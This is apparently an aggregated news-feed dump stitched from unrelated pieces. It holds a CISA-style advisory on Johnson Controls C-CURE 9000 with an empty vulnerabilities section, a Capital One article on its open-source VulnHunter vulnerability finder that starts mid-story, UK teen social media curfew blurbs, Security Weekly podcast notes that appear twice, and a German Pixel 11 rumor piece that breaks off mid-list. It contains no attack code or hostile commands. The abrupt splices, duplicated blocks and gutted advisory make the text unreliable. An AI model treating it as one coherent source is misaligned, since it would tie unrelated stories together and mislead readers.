Summary

Successful exploitation of these vulnerabilities could allow an attacker with network access to achieve remote code execution.

The following versions of Johnson Controls C-CURE 9000 and Victor application server are affected:

• C-CURE 9000 and victor <=v2.90_v3.0 
• victor Web <=v7.1 

Background

• Critical Infrastructure Sectors: Critical Manufacturing
• Countries/Areas Deployed: Worldwide
• Company Headquarters Location: Ireland

Vulnerabilities

Acknowledgments

• Harrison Neal reported these vulnerabilities to CISA

Legal Notice and Terms of Use

This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).

Recommended Practices

CISA recommends users take defensive measures to minimize the risk of exploitation of these vulnerabilities. CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.

CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.

CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.

Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.

Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.

CISA also recommends users take the following measures to protect themselves from social engineering attacks:

Do not click web links or open attachments in unsolicited email messages.

Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.

Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.

No known public exploitation specifically targeting this vulnerability has been reported to CISA at this time.

Revision History

• Initial Release Date: 2026-07-23

Legal Notice and Terms of Use

The move marks a striking philosophical turn for a company still defined, in many boardrooms, by a 2019 data breach that compromised the personal information of roughly 106 million people across the United States and Canada and ultimately cost the bank an $80 million federal fine.

Capital One is not simply releasing another vulnerability scanner. VulnHunter introduces what the company calls an "attacker-first forward analysis" — a workflow in which the tool begins at the points where a real adversary would enter a system, such as APIs, network messages, or file uploads, and reasons forward through the application's logic to determine whether an exploit path actually survives the code's existing defenses. Conventional scanners typically work in reverse, flagging a dangerous-looking code pattern and then searching backward for a hypothetical attacker. That approach, security practitioners widely acknowledge, buries engineering teams under avalanches of false positives.

VulnHunter attacks that problem head-on with a second innovation: a built-in "falsification engine" that tries to disprove its own findings before a developer ever sees them. After the tool surfaces a potential vulnerability, a structured reasoning workflow hunts for logical gaps, unsupported assumptions, and conditions that would prevent the attack from succeeding. Only findings the engine fails to rule out reach a human reviewer — and when they do, VulnHunter delivers not just an alert but a full explanation of the exploit path and a proposed code fix ready for engineering review.

The tool currently runs on Anthropic's Claude Opus 4.8 model inside a Claude Code environment, though Capital One says the framework has the potential to work across other foundation models and coding harnesses.

The 2019 breach that reshaped how Capital One thinks about cybersecurity

To understand why Capital One chose to open-source a tool this consequential, you have to understand the scar tissue.

On July 19, 2019, Capital One disclosed that an outside individual — later identified as a former Amazon Web Services employee named Paige Thompson — had gained unauthorized access to names, addresses, self-reported income, Social Security numbers, and linked bank account numbers belonging to credit card customers and applicants. The breach, which Capital One says occurred on March 22 and 23, 2019, was discovered only after an external security researcher flagged a configuration vulnerability through the company's Responsible Disclosure Program on July 17 of that year.

The damage was sweeping. Approximately 100 million people in the United States and 6 million in Canada were affected. Roughly 140,000 Social Security numbers, about 80,000 linked bank account numbers, and approximately 1 million Canadian Social Insurance Numbers were compromised. The FBI arrested Thompson, and the government stated it believed the data had been recovered with no evidence of fraud. But the reputational and regulatory toll was enormous.

In August 2020, the Office of the Comptroller of the Currency fined Capital One $80 million, finding that the bank had failed to adequately identify and manage risks as it migrated significant technology operations to the cloud. As Reuters reported at the time, the OCC's consent order cited insufficient network security controls, inadequate data loss prevention measures, and a board that failed to hold management accountable when internal auditing surfaced problems. The OCC also ordered Capital One to overhaul its operations and submit new cybersecurity plans for regulatory review.

The incident became an industry case study in the dangers of moving fast with new technology. As CyberScoop reported in July 2019, a cybersecurity executive at a competing financial company observed that the breach "could be the result of trying too many new things and forcing them through." Capital One's own CEO, Richard D. Fairbank, acknowledged the gravity of the moment. "While I am grateful that the perpetrator has been caught, I am deeply sorry for what has happened," Fairbank said at the time. "I sincerely apologize for the understandable worry this incident must be causing those affected and I am committed to making it right."

How Capital One rebuilt its security reputation through open-source investment

What followed was not a retreat from technology but a doubling down — with security explicitly at the center.

Capital One had declared itself an "open-source first" company in 2015 as part of a broader technology transformation that began over a decade ago. After the breach, the company accelerated its investments in software supply chain security, open-source governance, and AI-driven defense. In August 2022, Capital One joined the Open Source Security Foundation as a premier member, earning a seat on the organization's Governing Board. Chris Nims, then EVP of Cloud & Productivity Engineering, framed the move as a natural extension of the company's operating philosophy. "As a highly-regulated company, we are seasoned in managing compliance and governance and advocate for standardization, automation and collaboration," Nims said in the OpenSSF announcement.

Behind that public commitment lay a substantial operational apparatus. Capital One's Open Source Program Office, now in its third iteration, manages open-source usage, contributions, and community building across the enterprise. The company has released more than 25 open-source projects and made over 2,000 contributions to approximately 135 external open-source projects, according to the company's own disclosures. Those efforts address not just code dependencies but the entire software development lifecycle — DevSecOps tools, infrastructure, and the collaborative environments, both internal and external, that shape how software gets built and shipped.

Nureen D'Souza, the director who leads Capital One's OSPO, has spoken publicly about the philosophy underpinning this work. At cdCon 2022, D'Souza described a "company-wide culture with security ingrained" that allows developers to focus on innovation rather than maintenance chores, as reported by SD Times. The OSPO's charter emphasizes three pillars: standardization of open-source processes, automation of security policies throughout the delivery pipeline, and ecosystem sustainability through upstream contributions to the foundations and projects the company depends on.

VulnHunter is the most consequential product of that multi-year effort — and the clearest signal yet that Capital One views open-source collaboration not as charity but as a competitive security strategy. The company argues that modern software supply chains are so deeply interconnected that a single vulnerability in a widely used open-source component can cascade across thousands of enterprises simultaneously. Proprietary defenses, no matter how sophisticated, cannot address a problem that is fundamentally communal. By releasing VulnHunter under a permissive license, Capital One invites the global security research community to stress-test, extend, and improve the tool — effectively crowdsourcing its own defense infrastructure while strengthening the broader ecosystem.

Inside VulnHunter's three-stage AI engine for finding exploitable code

For engineering leaders evaluating VulnHunter, the technical architecture is where the tool's ambitions become concrete. The workflow unfolds in three distinct stages.

In the first stage — attacker-first forward analysis — VulnHunter begins at the points where an external adversary would interact with a system: API endpoints, network message handlers, file upload interfaces. From each entry point, the tool reasons forward through application logic, tracing data flows, transformations, and internal security checkpoints to determine whether an attacker can actually reach a dangerous code path. This approach mirrors how a skilled penetration tester would probe a system, but automates the process at a scale no human team could match.

The second stage is where VulnHunter departs most sharply from conventional scanners. After identifying a potential vulnerability, the falsification engine runs a structured reasoning workflow designed to disprove its own conclusion. It searches for assumptions that do not hold, logical gaps in the exploit path, and environmental conditions that would prevent an attack from succeeding. Findings that fail this internal challenge are discarded before any developer sees them. Capital One's explicit goal is to shift the developer's burden away from triaging false alarms — a perennial pain point that erodes trust in security tooling and slows development velocity.

In the third stage, vulnerabilities that survive the falsification engine trigger an evidence-backed remediation workflow. VulnHunter gathers supporting evidence across the codebase, maps the complete surviving exploit path, explains the defect and the specific capabilities an attacker would gain, and generates targeted code changes for engineering review. The output is not a generic advisory but a concrete, context-aware patch proposal.

Capital One says it validated VulnHunter internally before release, running it across thousands of repositories spanning tens of business areas. The company reports that the tool identified and remediated vulnerabilities with speed and efficiency that far exceeded what its teams previously achieved through manual triage.

Why AI-powered attacks are forcing banks to rethink traditional cyber defenses

VulnHunter arrives at a moment when the cybersecurity landscape is shifting beneath the feet of every enterprise. Capital One's announcement frames the urgency in stark terms: advanced AI models have "dramatically lowered the barrier for bad actors to discover and exploit vulnerabilities in software," and the window before sophisticated AI attack capabilities become affordable and accessible to virtually every adversary is shrinking rapidly.

The company's own AI security researchers have been tracking these trends closely. At NeurIPS 2024 in Vancouver, Capital One's team presented research and curated a list of nearly 100 papers spanning LLM safety, adversarial resilience, jailbreak attacks, and synthetic data generation. The papers they highlighted — including work on multi-agent defense frameworks, automated red-teaming, and guardrail classifiers — paint a picture of an arms race in which offensive and defensive AI capabilities are co-evolving at breakneck speed.

Several of those research themes map directly onto VulnHunter's architecture. The falsification engine echoes the adversarial defense strategies explored in papers like "BackdoorAlign," which demonstrated that embedding a structured safety mechanism into a small number of training examples could recover a model's safety alignment without degrading performance. The attacker-first forward analysis reflects the philosophy of "WildTeaming," a framework that collects and analyzes real-world jailbreak attempts to build more resilient models. And VulnHunter's emphasis on minimizing false positives parallels the goals of "GuardFormer," a guardrail classifier that outperformed GPT-4 on safety benchmarks while running 14 times faster.

The thread connecting all of this work is a conviction that traditional, reactive security — monitoring networks, patching known vulnerabilities, responding to incidents after they occur — is no longer sufficient when adversaries can use AI to discover and exploit zero-day vulnerabilities at machine speed. The only durable defense, Capital One argues, is to find and fix the vulnerabilities in your own code before attackers find them first.

What Capital One's cloud security journey reveals about the entire banking industry

Capital One's arc from breach victim to open-source security contributor also illuminates a broader reckoning across financial services. When Capital One moved aggressively to Amazon Web Services in the mid-2010s, it was a rarity among major banks. Most financial institutions simply did not trust third parties to store their most sensitive data. Capital One's CIO at the time, Rob Alexander, publicly championed the cloud as more secure than the bank's own data centers — a claim that the 2019 breach complicated considerably.

The CyberScoop report from that period captured the tension within the industry. W. Patrick Opet, managing director of cybersecurity at JP Morgan Chase, described a cultural shift in banking from prioritizing traders to prioritizing developers: "Now, it's 'Focus on the developer, turn everything into code, and automate everything.'" Mark Nicholson, Deloitte's cyber leader for the financial industry, noted that the pressure to move quickly was exposing "weaknesses in the development methodology." And the breach itself was a reminder that even as Chase spent $600 million annually on cybersecurity, relatively simple vulnerabilities — like the Apache Struts bug that enabled the Equifax breach — could undercut massive investments in data protection.

Seven years later, the industry has largely followed Capital One into the cloud, and the security challenges have only intensified. The question is no longer whether to use cloud infrastructure but how to secure the software that runs on it. VulnHunter represents Capital One's answer: rather than relying solely on network-level controls and perimeter defenses, push security directly into the code itself, at the moment it is written. The open-source release also carries implicit competitive pressure. If VulnHunter gains traction among developers and security teams, it could set a new baseline for what enterprise security tooling is expected to do — and force rival banks, fintechs, and cloud providers to match or exceed its capabilities.

Whether VulnHunter lives up to that ambition will depend on adoption, community engagement, and the tool's real-world performance against the increasingly sophisticated AI-powered attacks it was designed to counter. But the release itself tells a story that extends well beyond any single tool or any single company. In 2019, a misconfigured firewall exposed 100 million records and turned Capital One into a cautionary tale about the cost of moving fast without moving carefully. In 2026, the same institution is open-sourcing the kind of AI-driven defense it wishes it had built sooner — and betting that the best way to protect its own code is to help the entire industry protect theirs.

Read the original post: Pixel 11a Gets an Early Specs List, More

Wo du uns folgen kannst: Facebook, Reddit, Google News, X, Threads

Sixteen- and 17-year-olds in Britain are to be encouraged to observe a midnight to 6am social media curfew but will be able to opt out by changing their account settings.

From next spring, they will be urged to refrain from using certain apps, with the block being switched on by default. But the curfew will not be mandatory and can be overridden.

The post UK to Introduce Midnight Social Media Curfew for Older Teens appeared first on TechRepublic.

Sixteen and 17-year-olds are to be encouraged to observe a midnight social media curfew, in the latest stage of Labour’s bid “to protect the next generation” from online harms, including poor sleep caused by night-time scrolling.

From next spring, Britain’s oldest children will be urged to refrain from using certain apps with a midnight to 6am block being switched on by default. But the curfew will not be mandatory and can be overridden. The move is an extension of the under-16 social media ban announced last month, which included restrictions on platforms such as Snapchat, TikTok, YouTube, Instagram, Facebook and X.

Read more →

The post Boardroom Conversations Shift to Surviving a Breach appeared first on IT Security News.

Read more →

The post Podcast: Boardroom Conversations Shift to Surviving a Breach appeared first on IT Security News.

Software Supply Chain Security: Build Pipeline (CI/CD) Exploitation

Boost Security is the creator of some very popular build pipeline security tools, like Bagel and Poutine. Today, we discuss their latest tool, Smoked Meat. They describe it as "Like Metasploit, but for CI/CD pipelines".

Segment Resources:

• Smoked Meat announcement
• Smoked Meat github
• Smoked Meat demo with Guillaume and François

Identiverse Interview with Dr. John Prichard from Radiant Logic

The Three Identity Problem: Surviving Identity Security's Chaotic Era

Identity security has entered its chaotic era. Human, non-human, and agentic AI identities no longer just coexist. They form an uncontrolled inheritance chain in which a human creates an agent, the agent spins up service principals, OAuth grants, and role assignments, and that whole chain keeps running long after the human changes roles or leaves. Most of these chains are being spawned by business users on low-code and enterprise AI platforms, outside traditional identity controls and largely invisible to security.

In this segment, Radiant Logic CEO Dr. John Pritchard joins us to unpack why this is no longer a visibility problem. It is an observability problem. And it is shifting the center of gravity in identity security from authentication to authorization. Listeners will leave with a clearer view of where their current IAM, IGA, and NHI programs fall short, and a practical lens for governing the rapidly expanding population of AI agents already inside their environments.

To go deeper on what John discussed today, watch Radiant Logic's on-demand webinar Identities Under Attack: How Adversaries Exploit the Human-Machine-Agent Divide at https://securityweekly.com/radiantlogicidv.

Identiverse Interview with Cassie Christensen from Saviynt

Everyone Wants an AI Assistant. Few Are Ready to Govern One

Explore a growing reality many professionals can relate to: the appeal of using AI agents to handle the work that keeps piling up - from inbox management to research and logistics - and the governance challenges that quickly follow. The real barrier to scaling personal or enterprise AI agents isn't the technology itself, but defining clear roles, access boundaries, oversight, and lifecycle management. As organizations deploy more autonomous AI agents, the same identity frameworks used to govern workforce and non-employee identities must now evolve to manage AI-driven access before scale and risk outpace control.

This segment is sponsored by Saviynt. Learn more or get a free demo at https://securityweekly.com/saviyntidv

Identiverse Interview with Jaime Lewis-Gross from Saviynt

From Sales Engineer to Forward Deployed Engineer: The Rise of Hybrid Technical Roles

As technology organizations evolve, technical roles are becoming increasingly fluid - particularly at the intersection of product, engineering, and customer success. This conversation explores what it means to be a modern sales engineer and how the role is increasingly expanding into responsibilities often associated with forward deployed engineers: translating complex technical capabilities into real-world outcomes, solving customer challenges in real time, and serving as a critical bridge between product teams and end users. At the center of this evolution is a customer-first mindset - one that prioritizes listening, adaptability, and long-term partnership. As organizations race to innovate, the companies that stand out will be those that remain deeply focused on customer needs while empowering technical teams to operate beyond traditional role boundaries.

This segment is sponsored by Saviynt. Learn more or get a free demo at https://securityweekly.com/saviyntidv

Identiverse Interview with Kim Brown from LexisNexis

Stop Identity Fraud: Modern Strategies for Insurance and Healthcare

Identity fraud is growing more sophisticated across both insurance and healthcare, making identity management a critical line of defense. In this executive interview, Kim Brown, VP of Product Management, will explore how organizations can strengthen identity verification, authentication, and risk assessment to reduce fraud while improving user experiences. The discussion will highlight emerging threats, evolving regulatory expectations, and practical strategies for deploying identity solutions at scale. Attendees will gain actionable insights to protect customers, patients, and their organizations without adding friction.

This segment is sponsored by LexisNexis Risk Solutions. Visit https://securityweekly.com/lexisnexisidv to learn more about them!

Visit https://www.securityweekly.com/esw for all the latest episodes!

Show Notes: https://securityweekly.com/esw-467

Interview with François Proulx from Boost Security

Software Supply Chain Security: Build Pipeline (CI/CD) Exploitation

Boost Security is the creator of some very popular build pipeline security tools, like Bagel and Poutine. Today, we discuss their latest tool, Smoked Meat. They describe it as "Like Metasploit, but for CI/CD pipelines".

Segment Resources:
- Smoked Meat announcement: https://labs.boostsecurity.io/articles/introducing-smokedmeat
- Smoked Meat github: https://github.com/boostsecurityio/smokedmeat
- Smoked Meat demo: https://www.youtube.com/watch?v=F5Hr_201Au8 with Guillaume and François

Dr. John Prichard from Radiant Logic

The Three Identity Problem: Surviving Identity Security's Chaotic Era

Identity security has entered its chaotic era. Human, non-human, and agentic AI identities no longer just coexist. They form an uncontrolled inheritance chain in which a human creates an agent, the agent spins up service principals, OAuth grants, and role assignments, and that whole chain keeps running long after the human changes roles or leaves. Most of these chains are being spawned by business users on low-code and enterprise AI platforms, outside traditional identity controls and largely invisible to security.

In this segment, Radiant Logic CEO Dr. John Pritchard joins us to unpack why this is no longer a visibility problem. It is an observability problem. And it is shifting the center of gravity in identity security from authentication to authorization. Listeners will leave with a clearer view of where their current IAM, IGA, and NHI programs fall short, and a practical lens for governing the rapidly expanding population of AI agents already inside their environments.

To go deeper on what John discussed today, watch Radiant Logic's on-demand webinar Identities Under Attack: How Adversaries Exploit the Human-Machine-Agent Divide at https://securityweekly.com/radiantlogicidv.

Cassie Christensen from Saviynt

Everyone Wants an AI Assistant. Few Are Ready to Govern One

Explore a growing reality many professionals can relate to: the appeal of using AI agents to handle the work that keeps piling up - from inbox management to research and logistics - and the governance challenges that quickly follow. The real barrier to scaling personal or enterprise AI agents isn’t the technology itself, but defining clear roles, access boundaries, oversight, and lifecycle management. As organizations deploy more autonomous AI agents, the same identity frameworks used to govern workforce and non-employee identities must now evolve to manage AI-driven access before scale and risk outpace control.

This segment is sponsored by Saviynt. Learn more or get a free demo at https://securityweekly.com/saviyntidv

Jaime Lewis-Gross from Saviynt

From Sales Engineer to Forward Deployed Engineer: The Rise of Hybrid Technical Roles

As technology organizations evolve, technical roles are becoming increasingly fluid - particularly at the intersection of product, engineering, and customer success. This conversation explores what it means to be a modern sales engineer and how the role is increasingly expanding into responsibilities often associated with forward deployed engineers: translating complex technical capabilities into real-world outcomes, solving customer challenges in real time, and serving as a critical bridge between product teams and end users. At the center of this evolution is a customer-first mindset - one that prioritizes listening, adaptability, and long-term partnership. As organizations race to innovate, the companies that stand out will be those that remain deeply focused on customer needs while empowering technical teams to operate beyond traditional role boundaries.

This segment is sponsored by Saviynt. Learn more or get a free demo at https://securityweekly.com/saviyntidv

Kim Brown from LexisNexis

Stop Identity Fraud: Modern Strategies for Insurance and Healthcare

Identity fraud is growing more sophisticated across both insurance and healthcare, making identity management a critical line of defense. In this executive interview, Kim Brown, VP of Product Management, will explore how organizations can strengthen identity verification, authentication, and risk assessment to reduce fraud while improving user experiences. The discussion will highlight emerging threats, evolving regulatory expectations, and practical strategies for deploying identity solutions at scale. Attendees will gain actionable insights to protect customers, patients, and their organizations without adding friction.

This segment is sponsored by LexisNexis Risk Solutions. Visit https://securityweekly.com/lexisnexisidv to learn more about them!

Visit https://www.securityweekly.com/esw for all the latest episodes!

Show Notes: https://securityweekly.com/esw-467

Read more of this story at Slashdot.

Das Pixel 11 gehört zweifellos zu den am meisten erwarteten Android-Smartphones des Jahres 2026 – und das aus gutem Grund. Auch wenn man argumentieren könnte, dass es sich nicht um eine so umfassende Neugestaltung handelte wie bei den jüngsten iPhone-17-Modellen von Apple, umfasst die Pixel-10-Reihe dennoch eine Reihe herausragender Geräte, die viele gerne als ihr Alltagsgerät nutzen.

Der verbesserte Tensor-G5-Chipsatz ermöglichte es, dass mehr von Googles hauseigenen KI-Funktionen in die integrierte Software Einzug hielten. Die Einführung von Pixelsnap bedeutete, dass Android-Fans, die schon lange neidisch auf Apples Magsafe-Technologie waren, endlich alle Vorteile genießen konnten, die eine Qi2-Magnetverbindung mit sich bringt.

Diese Verbesserungen ergänzen die üblichen Vorzüge, die wir an Pixel-Smartphones schätzen – nämlich die Art und Weise, wie ihre Kameras Hauttöne in Bildern präzise wiedergeben, sowie die wunderbar übersichtliche Gestaltung von Stock-Android. Genau aus diesem Grund finden sich Pixel-Smartphones regelmäßig in unseren Übersichten zu den besten Smartphones wieder.

Vor diesem Hintergrund sind wir gespannt, in welche Richtung Google mit der Pixel-11-Reihe als Nächstes gehen wird – insbesondere da sich der Wettbewerb durch aktuelle Android-Spitzenmodelle wie das OnePlus 15 und das Honor Magic 8 Pro weiter verschärft, ganz zu schweigen vom Oppo Find X9 Pro, das in Sachen Smartphone-Fotografie ein absolutes Kraftpaket ist.

Neueste Gerüchte zum Pixel 11

Alle Pixel-11-Modelle könnten eine umfassende Kameraüberarbeitung erfahren: Sowohl das Pixel 11 als auch das 11 Pro Fold sollen mit einem neuen 50-Megapixel-Hauptobjektiv ausgestattet werden, während das Pixel 11 Pro und das 11 Pro XL komplett neue Haupt- und Teleobjektive erhalten werden. Nachdem Gerüchte über eine Face-ID-Alternative kursierten, scheint es nun so, als würde diese Funktion auf die Modelle des nächsten Jahres verschoben werden.

Wann wird das Google Pixel 11 erscheinen?

Die Google-Pixel-11-Reihe wird voraussichtlich im August 2026 auf den Markt kommen, wahrscheinlich im Rahmen der jährlichen Sommerveranstaltung von Google. Der offizielle Termin dafür ist der 12. August 2026.

Dominik Tomaszewski / Foundry

Gerüchten zufolge soll die Pixel-11-Serie tatsächlich erneut bis zu vier Geräte umfassen. Sollte Google wie in den letzten Jahren verfahren, wird das Pixel 11 Pro Fold später auf den Markt kommen als die anderen Modelle.

Diese Dokumente bestätigen die Codenamen für die Pixel-Geräte des Jahres 2026, wobei die Pixel-11-Serie Namen mit Bärenbezug trägt, wie „cubs“ für das Standardmodell Pixel 11, „grizzly“ für das Pixel 11 Pro, „kodiak“ für das Pixel 11 Pro XL und „yogi“ für das Pixel 11 Pro Fold.

Früher brachte Google neue Smartphones im Oktober auf den Markt, hat den Termin jedoch bei den letzten beiden Generationen vorverlegt. Zum Vergleich finden Sie hier die Erscheinungsdaten der vorherigen Generationen:

• Google Pixel 10: August 2025
• Google Pixel 9: August 2024
• Google Pixel 8: Oktober 2023
• Google Pixel 7: Oktober 2022
• Google Pixel 6: Oktober 2021

Aktuell bester Preis: Google Pixel 10 Pro

Shop

Preis

699,00 €

Jetzt ansehen

739,00 €

Jetzt ansehen

749,00 €

Jetzt ansehen

759,95 €

Jetzt ansehen

1.085,91 €

Jetzt ansehen

1.085,91 €

Jetzt ansehen

Google

1.099,00 €

Jetzt ansehen

1.116,08 €

Jetzt ansehen

Preisvergleich (über 24.000 Shops weltweit) Weitere Angebote

Produkt

Preis

Preisvergleich von Backmarket

Wie viel wird das Google Pixel 11 kosten?

Die Preise für das Pixel 11 sind noch nicht bestätigt, doch sollte Google seinen jüngsten Preistrends folgen, könnte der Einstiegspreis für das Basismodell bei etwa 899 Euro liegen, während die Pro-Version möglicherweise etwa 1.099 Euro kosten würde. Die Pro XL- und Pro Fold-Versionen könnten etwa 1.299 Euro beziehungsweise 1.899 Euro kosten.

Diese Preisgestaltung würde jedoch bedeuten, dass Google an die Preise der Pixel-10-Modelle anknüpft, bei denen es im Vergleich zur Pixel-9-Serie keine Preiserhöhung gab. Es ist unwahrscheinlich, dass dies zwei Jahre in Folge geschieht; daher rechnen wir eher mit einer Preiserhöhung für die Pixel-11-Smartphones, auch wenn diese nur geringfügig ausfällt.

Ein Hinweis, der möglicherweise auf Googles Strategie hindeutet, Preiserhöhungen zu vermeiden, ist die Reduzierung der RAM-Kapazität bei den neuen Smartphones. Es scheint, als werde Google das 11 Pro und das 11 Pro XL in zwei Varianten mit entweder 12 oder 16 GB RAM anbieten.

Das 12-GB-Modell könnte die Lösung sein, mit der Google einen höheren Einstiegspreis für seine Flaggschiff-Smartphones vermeiden könnte – auch wenn dies bedeutet, dass Sie für denselben Preis nicht so viel Leistung erhalten wie bei den aktuellen Modellen Pixel 10 Pro und 10 Pro XL.

Luke Baker

Welche technischen Daten und Funktionen wird das Google Pixel 11 bieten?

Pixel 11: Design & Verarbeitung

Angesichts der Tatsache, dass Google bisher sehr zurückhaltend war, das Design seiner Smartphones grundlegend zu überarbeiten – abgesehen davon, dass die Kameraleiste ab dem Pixel 9 zu einem Visier umgestaltet wurde –, erwarten wir hier keine gravierenden Änderungen. Die jüngsten Gerüchte haben dies weitgehend bestätigt, doch es gibt einige kleinere Designanpassungen, die die neuen Pixel-Smartphones nicht nur schlanker wirken lassen, sondern auch ihre allgemeine Benutzerfreundlichkeit verbessern sollen.

Da Google zuvor erklärt hat, dass wir alle zwei bis drei Jahre mit einem Redesign rechnen können, scheint es, als werde die Pixel-12-Serie im Jahr 2027 größere Veränderungen mit sich bringen.

Was das Design des Pixel 11 betrifft, so scheint es – wie aus CAD-basierten Renderings hervorgeht – dem Pixel 10 äußerst ähnlich zu sein, mit lediglich zwei Designanpassungen. Dabei handelt es sich um einen schmaleren Rahmen um den Bildschirm sowie eine vollständig aus Glas bestehende Kameraleiste anstelle eines Metallabschnitts um den Blitz herum.

Die Abmessungen sind angeblich identisch, abgesehen davon, dass das Smartphone 0,1 Millimeter dünner ist. Bitte beachten Sie, dass die Farbe nur zur Veranschaulichung dient, da sie lediglich auf der Farbe „Lavender“ des Pixel 10a basiert.

Onleaks / Android Headlines

Als Nächstes folgt das Pixel 11 Pro, bei dem sich ein ähnliches Bild wie beim Standardmodell abzeichnet. Die Renderings scheinen ein nahezu identisches Design mit dem gleichen glänzenden Rahmen wie zuvor zu bestätigen, ergänzt durch die neue, komplett schwarze Kameraleiste.

Besonders auffällig ist, dass der Temperatursensor auf der Rückseite zu fehlen scheint. Dieser befindet sich normalerweise unterhalb des Blitzes innerhalb der Kameraleiste und könnte auf den Wegfall dieser einzigartigen, wenn auch eher nischenorientierten Funktion hindeuten.

Onleaks / Android Headlines

Und hier ist das Renderbild des Pixel 11 Pro XL, das dasselbe zeigt:

Onleaks / Android Headlines

Für das Pixel 11 Pro Fold sind online einige Renderings aufgetaucht, die eine sehr ähnliche Bauweise wie beim 10 Pro Fold zeigen – so sehr, dass man die beiden Modelle auf den ersten Blick verwechseln könnte. Bei genauerem Hinsehen fällt jedoch auf, dass der Blitz und das Mikrofon in die Kameraausbuchtung integriert wurden, um ein einheitliches Erscheinungsbild zu schaffen.

Zwar ist es unwahrscheinlich, dass diese Maßnahme allein zu einer Verbesserung der Kameraqualität des 11 Pro Fold führt, doch aus gestalterischer Sicht wirkt das Design dadurch deutlich aufgeräumter.

OnLeaks x Android Headlines

Interessanter sind die Renderings, die das 11 Pro Fold im Seitenprofil zeigen; sie deuten offenbar darauf hin, dass das Smartphone im aufgeklappten Zustand nur 4,8 Millimeter dünn und im zusammengeklappten Zustand 10,1 Millimeter dick sein wird.

Zugegebenermaßen liegt das Gerät damit noch einen Schritt hinter der Konkurrenz zurück (das Galaxy Z Fold 7 und das Honor Magic V5 sind im aufgeklappten Zustand nur 4,2 Millimeter beziehungsweise 4,1 Millimeter dünn), doch es stellt eine deutliche Verbesserung gegenüber dem 10 Pro Fold dar, das sich in der Hand etwas klobig anfühlte.

Wenden wir uns nun dem Pixel 11 Pro XL zu: Die ersten Vorstellungen davon, wie dieses Smartphone aussehen könnte, stammen nicht aus einer Reihe von Renderings, sondern vom Hüllenhersteller Thinborne, der (versehentlich?) die dazugehörige Handyhülle etwas früher als geplant vorgestellt hat.

ThinBorne

Zwar lassen sich aus einer Hülle nur begrenzt Rückschlüsse ziehen, doch die Aussparung für die Kamera deutet darauf hin, dass es einen etwas größeren, aber massiveren Kameraausleger geben könnte.

Sollte dies zutreffen, dürfte dies verhindern, dass die Kameras in Ihrer Hosentasche hervorstehen – ein Problem, das im Jahr 2026 immer größer zu werden scheint (die Kamerawölbung des Honor Magic 8 Pro ist in einer Jeans schon aus einem Kilometer Entfernung zu erkennen). Ob dies auch eine Änderung der verbauten Sensoren beim Pixel 11 Pro XL bedeutet, bleibt abzuwarten.

Was die Farbvarianten angeht, hat die Android 17 QPR1 Beta möglicherweise ein Licht auf die Sache geworfen, da sie zwei Hintergrundbilder enthält, die angeblich mit dem Pixel 11 Pro Fold in Verbindung stehen und die Namen „Lunar Tides“ sowie „Tidal Swirl“ tragen.

In der Vergangenheit waren die von Google mitgelieferten Hintergrundbilder in der Regel so gestaltet, dass sie zur Außenfarbe der jeweils neuesten Smartphones passten. Während „Lunar Tides“ einen monochromen Stil aufweist, der dem „Moonstone“-Farbdesign des 10 Pro Fold nicht allzu unähnlich ist, ist es „Tidal Swirl“, das einen dunkleren Grünton aufweist, als wir ihn von der aktuellen Generation der Pixel-Smartphones kennen.

9to5Google

Bei genauerer Betrachtung der Beta-Version lässt sich feststellen, dass diese Hintergrundbilder mit Codenamen verknüpft sind, wobei „Midnight“ und „Pine“ jeweils mit „Lunar Tides“ und „Tidal Swirl“ gepaart sind. Obwohl sich zum jetzigen Zeitpunkt noch nicht genau sagen lässt, wie viele der Pixel-11-Geräte die potenziell ansprechende „Pine“-Variante erhalten könnten, sind diese Neuigkeiten ein gutes Zeichen für alle, die eine grüne Farbvariante auf ihrem Gerät bevorzugen.

Seitdem diese „Pro Fold“-Hintergrundbilder durchgesickert sind, sind weitere aufgetaucht, die darauf hindeuten, was die anderen Smartphones der Reihe erwarten könnte – und dies deutet auf eine Gesamtstrategie hin, mit der Google möglicherweise von einigen der eher bombastischen Farben der Vergangenheit abrücken möchte.

Für das Pixel 11 liegen uns vier Hintergrundbilder vor, die alle in gedeckteren Farbtönen gehalten sind und sich deutlich vom fast neonartigen „Lemongrass“ des Pixel 10 oder dem „Berry“ des Pixel 10a unterscheiden.

• Schwarz
• Grün
• Rot/Rosa
• Lila/Grau

Mystic Leaks

Ähnlich verhält es sich mit dem 11 Pro und dem Pro XL, da diese dem gleichen Designkonzept folgen, jedoch eine leicht abweichende Farbpalette aufweisen. Sollten diese Hintergrundbilder – wie in den vergangenen Jahren – nahtlos mit den Farbvarianten der Hardware harmonieren, können wir für das Jahr 2026 eine noch raffiniertere Auswahl an Pixel-Smartphones erwarten.

• Beige/Braun
• Blau/Silber
• Grün
• Schwarz

Mystic Leaks

Pixel 11: Display

Google wird bei der Pixel-11-Serie voraussichtlich weiterhin auf hochauflösende OLED-Displays setzen, wobei Verbesserungen bei Helligkeit, Farbgenauigkeit und Bildwiederholfrequenz zu erwarten sind.

Die einzige Neuigkeit, die uns hierzu vorliegt, ist, dass Google für die Pixel-11-Reihe angeblich das Spitzenmodell M16 OLED-Panel von Samsung Display verwenden wird, womit es den iPhone-18-Pro-Modellen (und auch den Galaxy-Modellen von Samsung Mobile) zuvorkommen wird.

Es liegen zwar noch kaum Details vor, doch das Panel dürfte in puncto Helligkeit, Farbwiedergabe, Lebensdauer und Energieeffizienz das Beste bieten.

Sollte Google die Displaygröße im Vergleich zur Pixel-10-Serie nicht ändern, gelten für die Pixel-10-Modelle folgende Spezifikationen:

• Pixel 10: 6,3-Zoll-Actua-OLED, 3.000 Nits
• Pixel 10 Pro: 6,3-Zoll-Super-Actua-LTPO-OLED, 3.300 Nits
